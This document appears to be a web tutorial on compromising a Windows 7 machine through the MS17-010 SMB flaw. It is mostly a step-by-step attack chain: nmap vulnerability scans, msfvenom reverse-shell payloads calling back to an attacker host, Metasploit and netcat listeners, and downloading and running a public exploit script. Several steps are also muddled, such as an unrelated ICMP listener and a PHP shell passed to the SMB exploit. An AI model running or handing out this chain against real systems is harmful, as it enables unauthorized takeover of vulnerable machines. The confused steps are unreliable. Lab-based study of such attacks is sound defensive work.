How to Exploit Windows 7 Vulnerabilities [Code Inside]

Setting up a secure and effective environment is crucial when preparing to exploit vulnerabilities in Windows 7 (Win 7). This involves configuring both the victim and attacker machines, ensuring proper network settings, and installing necessary tools.

Preparing the Environment

To exploit Windows 7 vulnerabilities, you need to set up both the victim and attacker machines.

Tools and Requirements:

1. Windows 7 Setup:
   • Install Windows 7 ISO from a legitimate source
   • Disable Firewall
   • Enable Remote Desktop
   • Set a static IP address
2. Kali Linux Setup:
   • Install Kali Linux ISO
   • Update system: sudo apt update && sudo apt upgrade -y
   • Install necessary tools: sudo apt install nmap python-impacket metasploit-framework
3. Networking Modes and Initial Configurations:
   • Use Bridged mode in virtualization software
   • Configure network settings for both Windows 7 and Kali Linux
   • Assign static IPs for consistency

Step-by-Step Configuration:

1. Networking Setup: Windows 7:
   • Assign Static IP in Network Connections
     • IP address example: 192.168.1.100
     • Subnet mask: 255.255.255.0
     • Default gateway: 192.168.1.1
2. Networking Setup: Kali Linux:
   • Set Static IP: sudo nano /etc/network/interfaces Add:

     auto eth0
     iface eth0 inet static
     address 192.168.1.101
     netmask 255.255.255.0
     gateway 192.168.1.1
          

   • Restart Network Service: sudo systemctl restart networking
3. Testing Network Connectivity:
   • From Kali Linux: ping 192.168.1.100
   • From Windows 7: ping 192.168.1.101

Confirm that both systems can communicate over the network.

Scanning and Enumeration

Using nmap, identify open ports and potential vulnerabilities on the Windows 7 target machine.

Scanning with nmap:

1. Basic Port Scan: nmap -sS 192.168.1.100
2. Comprehensive Port Scan: nmap -p- 192.168.1.100
3. Service and Version Detection: nmap -sV 192.168.1.100
4. Operating System Detection: nmap -O 192.168.1.100

Identifying SMB Vulnerabilities:

1. Checking for SMB Vulnerabilities: nmap -p445 --script smb-vuln* 192.168.1.100
2. Detailed Vulnerability Output: nmap -p445 --script smb-vuln-ms17-010 192.168.1.100

Interpreting Results:

Look for entries indicating whether the target is vulnerable to specific SMB exploits, such as:

Host script results:
smb-vuln-ms17-010:
  VULNERABLE:
  ...
  State: VULNERABLE

Advanced Enumeration Techniques:

1. Enumerating Shares: nmap -v -p445 --script smb-enum-shares 192.168.1.100
2. Enumerating Users: nmap -v -p445 --script smb-enum-users 192.168.1.100

Follow this structured approach to thoroughly assess the target’s security posture, focusing on SMB services for critical vulnerabilities like MS17-010. Keep detailed records of findings to streamline the exploitation process.

Creating and Deploying Payloads

After enumerating vulnerabilities, create and deploy payloads to exploit the target system.

1. Generating the Payload with Metasploit:

   Create a Windows reverse shell executable:

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o /tmp/reverse.exe
2. Transferring the Executable to the Target:

   Set up a simple HTTP server:

   cd /tmp
python3 -m http.server 80

   On Windows 7, download reverse.exe:

   http://192.168.1.101/reverse.exe
3. Creating a PHP Meterpreter Reverse Shell:

   Generate the PHP Meterpreter payload:

   msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw -o /tmp/shell.php
4. Deploying the PHP Payload:

   Upload shell.php to a web server directory that can be accessed remotely.

5. Setting Up the Listener:

   Open Metasploit console:

   msfconsole

   Configure the handler for Windows executable:

   use exploit/multi/handler
   set payload windows/meterpreter/reverse_tcp
   set LHOST 192.168.1.101
   set LPORT 4444
   exploit -j
      

   For PHP Meterpreter payload:

   use exploit/multi/handler
   set payload php/meterpreter_reverse_tcp
   set LHOST 192.168.1.101
   set LPORT 4444
   exploit -j
      

6. Executing the Payload on the Target:
   • Run reverse.exe on the Windows 7 machine.
   • For the PHP script, access: http://<target-ip>/path/to/shell.php

Upon successful execution, a Meterpreter session should open on your Metasploit console. Monitor the shell to manage and maintain control, capturing essential data or escalating privileges as needed.

Setting Up Listeners

Capturing shells after exploiting a vulnerability requires setting up listeners. Here are details on configuring different types of listeners:

HTTP Stager:

cd /tmp python3 -m http.server 80

This initiates an HTTP server on port 80, serving files from the /tmp directory.

TCPdump ICMP Listener:

sudo tcpdump -i eth0 icmp

Replace eth0 with the correct interface if using a VPN.

PHP Meterpreter Listener:

Start a PHP Meterpreter listener on port 53:

msfconsole

Within Metasploit, run:

use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LHOST 192.168.1.101 set LPORT 53 exploit -j

Netcat Listener:

rlwrap nc -nlvp 25

These listeners prepare you to receive connections from payloads deployed on the target machine.

Executing Exploits

With listeners active, you can now run the exploit scripts:

1. Download and prepare the exploit script: cd /tmp wget https://github.com/worawit/MS17-010/raw/master/send_and_execute.py
2. Activate the Python2 virtual environment: cd /opt/impacket source impacket-venv/bin/activate
3. Run the exploit script: python2 /tmp/send_and_execute.py 192.168.1.100 /tmp/reverse.exe

Check your configured listeners for results:

• HTTP Listener: Look for HTTP GET requests.
• TCPdump ICMP Listener: Watch for ICMP packets.
• PHP Meterpreter Listener: Check for incoming Meterpreter sessions.
• Netcat Listener: Look for an active shell connection.

If needed, manually compile and deploy payloads:

4. Compile and deploy custom C code payload: i686-w64-mingw32-gcc /tmp/testexe.c -o /tmp/ruby.exe python2 /tmp/send_and_execute.py 192.168.1.100 /tmp/ruby.exe
5. Execute multiple payloads in parallel: python2 /tmp/send_and_execute.py 192.168.1.100 /tmp/ruby.exe & python2 /tmp/send_and_execute.py 192.168.1.100 /tmp/shell.php &

Check each terminal window to confirm successful payload initiation. Successful connections will appear in your listener terminals.

Plan post-exploitation steps based on the acquired shell type, such as deeper network probes or privilege escalation tasks.

By following these procedures for setting up your environment, scanning for vulnerabilities, creating payloads, and executing exploits, you can gain control over a vulnerable Windows 7 system. Remember, ethical hacking requires proper authorization and should only be performed in controlled, legal environments.